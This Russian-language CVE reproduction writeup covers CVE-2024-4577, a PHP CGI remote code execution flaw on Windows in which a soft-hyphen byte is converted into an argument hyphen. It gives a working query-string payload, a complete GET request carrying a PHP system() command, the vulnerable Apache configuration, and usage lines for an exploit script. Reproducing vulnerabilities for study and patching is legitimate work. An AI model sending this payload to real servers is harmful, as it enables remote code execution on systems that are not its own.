
CVE Reproduction: cve-2024-4577-phpcgi_rce_reproduction
CVE-2024-4577 — это критическая уязвимость удаленного выполнения кода в реализации PHP CGI на Windows. Она обходит исправление для оригинальной CVE-2012-1823, используя преобразование кодовой страницы "Best-Fit" в Windows для протаскивания аргументов командной строки через строку запроса CGI.
Когда PHP работает как модуль CGI (php-cgi.exe), он интерпретирует строку запроса как аргументы командной строки. Исходное исправление для CVE-2012-1823 блокировало символ - (дефис, 0x2D) для предотвращения внедрения аргументов. Однако в системах Windows, использующих определенные кодовые страницы (например, китайская, японская, корейская), функция преобразования символов "Best-Fit" преобразует определенные символы Юникода в их ближайшие ASCII-эквиваленты.
Ключевой обход использует символ мягкого дефиса (0xAD / U+00AD). Когда запрос передает %AD в строке запроса и локаль сервера использует кодовую страницу "Best-Fit", Windows внутренне преобразует 0xAD в 0x2D (дефис), что позволяет атакующему внедрять аргументы PHP, несмотря на фильтр.
Пример: %ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input становится -d allow_url_include=1 -d auto_prepend_file=php://input.
Требования к конфигурации:
php-cgi.exemod_cgi или mod_cgidScriptAlias /php-cgi/ "C:/php/"
Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://inputpython exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
Сформированная полезная нагрузка внедряет директивы конфигурации PHP через строку запроса:
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded
<?php system("whoami"); ?>
php-cgi.exe